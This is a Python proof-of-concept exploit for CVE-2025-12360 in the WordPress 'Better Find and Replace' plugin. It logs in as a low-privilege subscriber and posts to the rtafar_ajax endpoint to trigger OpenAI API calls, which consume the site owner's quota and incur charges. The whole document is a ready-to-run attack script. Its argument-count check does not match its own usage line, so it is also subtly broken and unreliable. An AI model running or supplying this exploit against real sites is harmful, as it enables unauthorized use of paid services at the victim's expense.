CVE-2025-12360

#!/usr/bin/env python3 """ CVE-2025-12360 PoC - Better Find and Replace Plugin Unauthorized API Usage This PoC demonstrates the vulnerability where any authenticated user can trigger OpenAI API calls. """ import requests import sys def exploit_cve_2025_12360(target_url, username, password): """ Exploit the missing capability check in rtafar_ajax() function. Args: target_url: Target WordPress site URL username: WordPress subscriber account username password: WordPress account password """ session = requests.Session() # Step 1: Login to WordPress as subscriber login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print(f"[*] Logging in as subscriber user: {username}") response = session.post(login_url, data=login_data, allow_redirects=False) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Trigger the vulnerable AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'rtafar_ajax', 'task': 'ai_replace', # Example task that triggers OpenAI API 'search_term': 'test', 'replace_term': 'exploit' } print(f"[*] Sending exploit request to {ajax_url}") response = session.post(ajax_url, data=exploit_data) # Step 3: Check response if response.status_code == 200: print(f"[+] Request sent successfully!") print(f"[*] Response: {response.text[:200]}") print("[*] Note: Each request consumes OpenAI API quota and may incur costs.") return True else: print(f"[-] Request failed with status code: {response.status_code}") return False if __name__ == "__main__": if len(sys.argv) != 5: print(f"Usage: python3 {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python3 {sys.argv[0]} http://example.com subscriber password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2025_12360(target, user, pwd)

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